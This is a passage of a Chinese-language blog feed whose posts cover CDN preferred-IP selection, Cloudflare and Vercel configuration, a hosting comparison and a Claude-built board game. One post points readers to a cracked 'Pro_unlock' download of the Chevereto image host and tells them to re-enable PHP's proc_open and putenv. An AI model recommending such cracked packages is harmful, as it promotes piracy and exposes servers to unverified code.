&lt;h1 id=&quot;ju-ti-na-xie-fu-wu-zhi-chi-mian-liu-liang-fei&quot;&gt;具体哪些服务支持免流量费？&lt;&#x2F;h1&gt;
&lt;p&gt;可以前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.cloudflare.com&#x2F;zh-cn&#x2F;bandwidth-alliance&#x2F;&quot;&gt;Cloudflare云服务_数据传输_高速云数据传输服务_|Cloudflare中国官网 | Cloudflare&lt;&#x2F;a&gt; 查看&lt;&#x2F;p&gt;
&lt;p&gt;截止到文章发布日，这些服务支持&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e04c6bee-efc2-4998-83aa-aeacc80e6908.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在这里可以看到，如果您每月需要传输1TB的流量，Cloudflare将为您每月节省如此多的美刀&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3ac81964-bb93-4528-921f-d801a66cb72d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ru-he-shi-yong&quot;&gt;如何使用？&lt;&#x2F;h1&gt;
&lt;p&gt;假如您有一个阿里云OSS实例，正常来说如果您需要绑定自定义域名，需要CNAME到阿里云的Endpoint，如果您恰好使用Cloudflare NS服务器托管您的域名，只需要打开小黄云即可。&lt;&#x2F;p&gt;
&lt;p&gt;Cloudflare将托管您的阿里云OSS流量，从Cloudflare出口的流量将不收取流量费用&lt;&#x2F;p&gt;
&lt;p&gt;基于阿里云5G内存储费用免费的政策，您可以白嫖5G的对象存储&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h1&gt;
&lt;p&gt;永远不要泄露您的源站，也就是上文所说的阿里云OSS Endpoint，如果有人发现了您的源站，这些流量不从Cloudflare出口，您将会被收取费用&lt;&#x2F;p&gt;
&lt;p&gt;当然，大部分对象存储服务商支持配置私有访问，详细规则和使用方法请咨询各方客服&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>都5202年了，还有人不会自建自己的Cloudflare&#x2F;EdgeOne等各种CDN的优选？</title>
        <published>2025-07-22T00:00:00+00:00</published>
        <updated>2025-07-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/self-host-fastip/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/self-host-fastip/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/self-host-fastip/">&lt;p&gt;想要做一个优选域名，我们首先需要筛选那些质量好的IP&lt;&#x2F;p&gt;
&lt;p&gt;筛选到质量好的IP后，通过各大云解析DNS厂商更新指定优选域名的DNS解析&lt;&#x2F;p&gt;
&lt;p&gt;最后，将你的域名投入使用，测试优选后效果&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ru-he-shai-xuan-dao-zhi-liang-hao-de-ip&quot;&gt;如何筛选到质量好的IP？&lt;&#x2F;h1&gt;
&lt;p&gt;假设你要提高国内的访问质量，我们肯定需要国内的机子，如果自家有NAS就再好不过了&lt;&#x2F;p&gt;
&lt;p&gt;如果你想要三网都优选，那么只有你一台机子是不够的，需要同时拥有电信，移动，联通三网的机子去做IP筛选。如果你要做更高级的地域优选，那就...把每个省的三网机子都拿到手？&lt;&#x2F;p&gt;
&lt;p&gt;有了测试机，接下来我们就需要编写测试脚本&lt;&#x2F;p&gt;
&lt;p&gt;首先我们要知道一个CDN厂商的IP段是什么，这里以Cloudflare为例&lt;&#x2F;p&gt;
&lt;p&gt;我们搜索 &lt;code&gt;Cloudflare IP段&lt;&#x2F;code&gt; 即可找到&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9e79e4ab-ce0c-434a-84f7-3b8a9f3a0886.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对于其他CDN，他们可能并没有直接在网页上公开IP，你需要自行寻找客服咨询&lt;&#x2F;p&gt;
&lt;p&gt;我们得到IP段后，接下来就是编写实际的测试逻辑&lt;&#x2F;p&gt;
&lt;p&gt;我这边仅推荐通过Curl+Resolve实现强制绑定IP访问业务域名然后看返回的状态码正不正常。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意，这种方案及其考验您的测试机、路由器、ISP、对端服务器的性能！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但这也是最稳妥的测试方法，主播已经见过了太多TCPing 443通，https访问418或者ping得通，TCPing不通的稀奇古怪CDNIP。请保证您的测试方法筛选到的IP能正常访问到您的访问，避免您的服务宕机&lt;&#x2F;p&gt;
&lt;p&gt;线程不必拉太高，针对于Cloudflare这样有 150w IP的CDN，我们可以仅测试C段，也就是测试完 &lt;code&gt;104.18.91.0&lt;&#x2F;code&gt; 直接测试 &lt;code&gt;104.18.92.0&lt;&#x2F;code&gt; 这样可以节省时间，只需要测5000多个IP&lt;&#x2F;p&gt;
&lt;p&gt;最终，我们得到了一组优选IP&lt;&#x2F;p&gt;
&lt;h1 id=&quot;dui-jie-hua-wei-yun-yun-jie-xi-dns&quot;&gt;对接华为云云解析DNS&lt;&#x2F;h1&gt;
&lt;p&gt;为什么推荐华为云？&lt;&#x2F;p&gt;
&lt;p&gt;无他，因为仅华为云一家支持&lt;strong&gt;单解析单次记录值支持50个IP&lt;&#x2F;strong&gt;、&lt;strong&gt;可以创建多个同名解析&lt;&#x2F;strong&gt;以及&lt;strong&gt;支持仅缓存DNS解析1s（TTL=1）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;受益于华为云的这些功能，我们个人用户也可以做到一个域名下面绑定几万个IP（虽然IP不是越多越好）&lt;&#x2F;p&gt;
&lt;p&gt;推荐使用海外版，&lt;strong&gt;不需要实名认证&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之后通过API文档自行折腾一下API添加DNS解析即可&lt;&#x2F;p&gt;
&lt;h1 id=&quot;hou-qi-wei-hu&quot;&gt;后期维护&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果你要做三网优选请添加一个默认解析线路，保证您在个别线路宕机时对应线路的用户不会遇到服务宕机&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;每个CDN厂商的IP段可能会不定时变更，请勤查多看，及时更换失效IP&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果遇到服务异常无法得到优选IP，请不要在脚本中编写危险逻辑，如删除所有解析。这会导致大批量服务宕机&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;优选并不是主流做法，如果您的站点被攻击，使用自定义CNAME或者IP会导致您的CDN服务商无法为您进行IP调度，高质量IP将被持续攻击，您的CDN服务商可能会采取强制措施如：&lt;strong&gt;关停您的业务，封禁您的账号&lt;&#x2F;strong&gt;等操作来隔断对方的攻击。当您认为您的站点被攻击时请及时切换到官方为您分配的CNAME或IP&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>教你搭建Chevereto这个超级强大的图床！</title>
        <published>2025-07-16T00:00:00+00:00</published>
        <updated>2025-07-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/chevereto/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/chevereto/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/chevereto/">&lt;p&gt;https://b23.tv&#x2F;E8Z34KM&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;p&gt;资源： https://r2.2x.nz&#x2F;chevereto_4.3.6-Pro_unlock.zip （感谢宝塔开心版站长！）&lt;&#x2F;p&gt;
&lt;p&gt;使用 &lt;strong&gt;PHP 8.1.29 &amp;amp; MySQL 8.0.36&lt;&#x2F;strong&gt; 创建一个网站，然后将我们刚刚下载的ZIP上传到站点根目录并解压&lt;&#x2F;p&gt;
&lt;p&gt;你就会得到这一坨&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;dcb4d5ec-412f-4008-980b-b4f4ac1bc2d2.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里开始分支！如果你是Apache请什么都不要动，它会自动检测 &lt;code&gt;.htaccess&lt;&#x2F;code&gt; 。如果你是Nginx请配置 &lt;code&gt;nginx.txt&lt;&#x2F;code&gt; 里面的伪静态规则&lt;&#x2F;p&gt;
&lt;p&gt;然后根据原 &lt;code&gt;教程.txt&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;PHP 需要 8.1 以上

需要以下PHP扩展：
fileinfo
imagemagick
exif

如果是宝塔 还得删除 PHP 禁用函数
putenv
proc_open 


MYSQL 需要 8.0 以上

伪静态需要使用我提供的 nginx.txt 里面的
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你用的虚拟主机跟博主一样，也是ispmanager，请这样设置PHP&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e4bc4d2e-fc42-49bb-b161-92e86f0c6d12.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一切就绪，访问你的站点进行Chevereto的安装向导&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h1&gt;
&lt;p&gt;如果出现问题，请尝试以管理员身份登录Chevereto，在管理员设置 -&amp;gt; 系统中开启调试模式。这样设置后，Chevereto在出现错误就会告诉你具体发生了什么问题&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;00c8ab83-d41c-4ca3-a14a-4a36f0f77b67.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果我连系统设置都进不去？请自行找你的PHP Error Log来分析问题&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wo-da-jian-hao-de&quot;&gt;我搭建好的&lt;&#x2F;h1&gt;
&lt;p&gt;https://chevereto.php.afo.im&#x2F;upload&lt;&#x2F;p&gt;
&lt;p&gt;登录后查看所有图片：&lt;&#x2F;p&gt;
&lt;p&gt;https://chevereto.php.afo.im&#x2F;explore&#x2F;images&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>我用Claude10分钟写了个六子棋...?</title>
        <published>2025-07-14T00:00:00+00:00</published>
        <updated>2025-07-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/sixqi-py/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/sixqi-py/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/sixqi-py/">&lt;p&gt;本来大晚上被干醒了&lt;&#x2F;p&gt;
&lt;p&gt;准备吃点东西睡回笼觉&lt;&#x2F;p&gt;
&lt;p&gt;顺便在QQ群吹水&lt;&#x2F;p&gt;
&lt;p&gt;然后被委托做一个&lt;strong&gt;神经小项目&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;29afe2b7-db53-4707-81ef-173befb84a06.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f7b3b7b6-a462-4c1a-b8cf-665cc4df824c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0d0b13c2-e2d5-4394-b7fd-48af6277869c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;于是就...&lt;&#x2F;p&gt;
&lt;h1 id=&quot;kai-zheng&quot;&gt;开整！&lt;&#x2F;h1&gt;
&lt;p&gt;首先使用最熟悉的Python Flask框架！&lt;&#x2F;p&gt;
&lt;p&gt;然后使用最简单的内存数据库！&lt;&#x2F;p&gt;
&lt;p&gt;然后开始调教AI！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;del&gt;这里本想用JSON存的但是聪明小AI最终交付的仍然是内存存储&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;1d62004f-ed07-4ced-be59-63bb4dd03b2d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后就写出来了！（&lt;del&gt;并非，总共问了7次&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shang-xian&quot;&gt;上线！&lt;&#x2F;h1&gt;
&lt;p&gt;现已可在 https://sixqi.afo.im&#x2F; 游玩！&lt;&#x2F;p&gt;
&lt;p&gt;开源： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;afoim&#x2F;sixqi&quot;&gt;GitHub - afoim&#x2F;sixqi&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;1416208a-b44c-40b7-a1ba-743e8a28d3bc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>N款CDN&#x2F;静态托管服务商的优缺点比较</title>
        <published>2025-07-14T00:00:00+00:00</published>
        <updated>2025-07-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/static-web/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/static-web/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/static-web/">&lt;h1 id=&quot;netlify&quot;&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.netlify.com&quot;&gt;Netlify&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;注册门槛高，需要使用谷歌邮箱注册。支持IPv6回源。用量限制较宽松，仅有带宽和构建时间限制。 &lt;strong&gt;我认为是免费计划里最快的CDN！并且限制很少！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要注意，构建时间是每月限制。但是流量限制较为宽松&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;282ad19c-f971-4f92-9096-6e75308205c5.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为节点禁Ping，所以这里用Tcping结果展示&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;推荐CNAME：&lt;&#x2F;strong&gt; apex-loadbalancer.netlify.com&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e11f4d07-4135-411e-943e-cf27690bc9c7.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;vercel&quot;&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://vercel.com&quot;&gt;Vercel&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;零成本用上。注册无门槛，延迟良好。用量限制较严格。仅支持IPv4回源。默认的 &lt;code&gt;*.vercel.app&lt;&#x2F;code&gt; 在国内会被SNI阻断，需要绑定自己的域名&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vercel每天可以构建100次，每次构建时间不得超过45分钟&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;推荐IP：&lt;&#x2F;strong&gt; 76.76.21.21&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;14654577-5c25-4136-bb06-9e10d1945ae2.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;eb1ef62c-f50c-4f89-a287-c74e18353b9c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;edgeone-cdn&quot;&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://edgeone.ai&quot;&gt;EdgeOne CDN&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;目前处于内测，需要兑换码。获取方式前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://edgeone.ai&#x2F;zh&#x2F;redemption&quot;&gt;腾讯云EdgeOne免费计划兑换码 - 立即体验&lt;&#x2F;a&gt; 。无流量和请求数限制。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ed25c33f-5719-44b5-844e-62ac73eadfef.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;支持&lt;strong&gt;高级回源设置&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;a1517d8e-1664-4819-ba08-d78ae13299a4.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;quan-qiu-ke-yong-qu-bu-han-zhong-guo-da-lu&quot;&gt;全球可用区（不含中国大陆）&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本人博客目前使用的CDN&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;默认提供的CNAME延迟一般。下图是使用了本人的HK优选： eo.072103.xyz（注： EdgeOne Page不可用）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b2937ed2-0f8d-4179-a9b5-b465902ca9ab.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;edgeone-cdn-zhong-guo-da-lu-ke-yong-qu&quot;&gt;EdgeOne CDN 中国大陆可用区&lt;&#x2F;h2&gt;
&lt;p&gt;需要&lt;strong&gt;实名认证&lt;&#x2F;strong&gt;，需要&lt;strong&gt;域名备案&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;默认CNAME可用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;c44674d3-d37e-4f00-a7ee-cdac7798b293.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cloudflare&quot;&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.cloudflare.com&#x2F;&quot;&gt;Cloudflare&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;无流量和请求数限制。&lt;strong&gt;无法被打死&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;posts&#x2F;record&#x2F;#cloudflare-%E4%BC%98%E9%80%89%E5%9F%9F%E5%90%8D&quot;&gt;戳我查看优选域名&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下图使用本人的分流优选： fenliu.072103.xyz&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f0785c5d-b31a-40d1-9da9-ac50a94f6b0a.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;render&quot;&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://render.com&quot;&gt;Render&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;注册简单，具有严格的用量限制&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0bccb1b9-3fe1-49f0-a255-0805fc0ee35c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2b6104d5-9cee-4e2b-adb5-9aefe02240d2.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;github-page&quot;&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://pages.github.com&#x2F;&quot;&gt;Github Page&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;需要使用Github Action发布。&lt;strong&gt;中国大陆大部分地区会间歇性阻断&lt;&#x2F;strong&gt;，不推荐使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;efccadbf-bc70-4444-bb48-8399cf881617.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>利用Cloudflare Page提供的重定向功能实现无损耗、不限数量的静态重定向！</title>
        <published>2025-07-13T00:00:00+00:00</published>
        <updated>2025-07-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/cfpage-redirect/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/cfpage-redirect/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/cfpage-redirect/">&lt;p&gt;直接 Fork我的[仓库](&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;afoim&#x2F;Redirect_Group&quot;&gt;GitHub - afoim&#x2F;Redirect_Group&lt;&#x2F;a&gt;)。&lt;&#x2F;p&gt;
&lt;p&gt;接着将该仓库连接到Cloudflare部署Worker或Page，然后绑定你的域名&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0c99399a-5d25-4372-9f9b-79767c32d150.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着更改 &lt;code&gt;_redirects&lt;&#x2F;code&gt; 内的文件&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f9476b1d-b047-441b-a742-58124032a91b.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;&#x2F; https://www.afo.im&#x2F; 301
&#x2F;test&#x2F;* https://test.test&#x2F;test&#x2F;:splat 302
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;则意味着&lt;&#x2F;p&gt;
&lt;p&gt;访问 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 301 永久重定向到 &lt;code&gt;https://www.afo.im&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3f49855c-6835-423d-805c-4758f232d136.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;访问 &lt;code&gt;&#x2F;test&#x2F;*&lt;&#x2F;code&gt; 302 临时重定向到 &lt;code&gt;https://test.test&#x2F;test&#x2F;*&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f018f75a-83ae-435e-9fce-d81d331f6d2f.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;已经非常强大了。而且不占用重定向规则配额也不耗费Worker请求数！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>配置Vercel让ITDog测试全部403！</title>
        <published>2025-07-10T00:00:00+00:00</published>
        <updated>2025-07-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/vercel-deny/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/vercel-deny/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/vercel-deny/">&lt;p&gt;https://www.bilibili.com&#x2F;video&#x2F;BV1w7GTzMEy7&lt;&#x2F;p&gt;
&lt;h1 id=&quot;huo-qu-itdogdeng-bo-ce-fu-wu-de-ip&quot;&gt;获取ITDog等拨测服务的IP&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;因为Vercel不支持IPv6，所以我们只需要获取v4IP&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果你有VPS，直接写一个Py脚本创建一个HTTP服务器记录IP去重即可&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果你只有家里云，可以使用Cloudflare Tunnel，然后获取 &lt;code&gt;CF-Connecting-IP&lt;&#x2F;code&gt; 来曲线救国&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;结论，你已经获得了你要屏蔽的拨测网站的IP&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;91daff1e-b248-4f90-9b97-31bff7fa2c14.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;chuang-jian-vercel-api-token&quot;&gt;创建Vercel API Token&lt;&#x2F;h1&gt;
&lt;p&gt;前往 https://vercel.com&#x2F;account&#x2F;settings&#x2F;tokens 创建一个Token&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhua-qu-fang-huo-qiang-chuang-jian-geng-xin-jie-kou&quot;&gt;抓取防火墙创建&#x2F;更新接口&lt;&#x2F;h1&gt;
&lt;p&gt;前往 https://vercel.com&#x2F;your-projects&#x2F;fuwari&#x2F;firewall&lt;&#x2F;p&gt;
&lt;p&gt;新增规则&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;84645ada-92bd-42f7-827f-96a93bd54997.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;随便写点东西然后抓包&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0f60d87a-df45-42d3-a692-c172982899cc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;PATCH https://vercel.com&#x2F;api&#x2F;v1&#x2F;security&#x2F;firewall&#x2F;config&#x2F;draft?projectId=prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&amp;amp;teamId=team_lemndzHQNJAcTipIF6elB5Md
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将主机名 &lt;code&gt;vercel.com&lt;&#x2F;code&gt; 改为 &lt;code&gt;api.vercel.com&lt;&#x2F;code&gt; 。并携带请求头 &lt;code&gt;Authorization&lt;&#x2F;code&gt; ，值为刚才获取的Token&lt;&#x2F;p&gt;
&lt;p&gt;复制刚才的响应并且稍作修改进行测试，看是否能更新成功&lt;&#x2F;p&gt;
&lt;p&gt;可以看到已经200 OK&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b87a06b5-e33c-4d1d-aede-18ecba95d8cc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-pythonjiao-ben-chuang-jian-da-pi-liang-ipju-jue-gui-ze&quot;&gt;使用Python脚本创建大批量IP拒绝规则&lt;&#x2F;h1&gt;
&lt;p&gt;根据本人测试，Vercel虽然在创建规则的时候有一个 &lt;code&gt;is any of&lt;&#x2F;code&gt; 支持填入多个IP，但是单规则最多只能填写&lt;strong&gt;75&lt;&#x2F;strong&gt;个，所以我们需要一个Python脚本批量帮我们规划。脚本已经写好&lt;&#x2F;p&gt;
&lt;p&gt;使用： &lt;code&gt;python app.py ip.txt&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;作用：自动获取指定TXT中的内容并将其中的所有IP添加到拒绝规则&lt;&#x2F;p&gt;
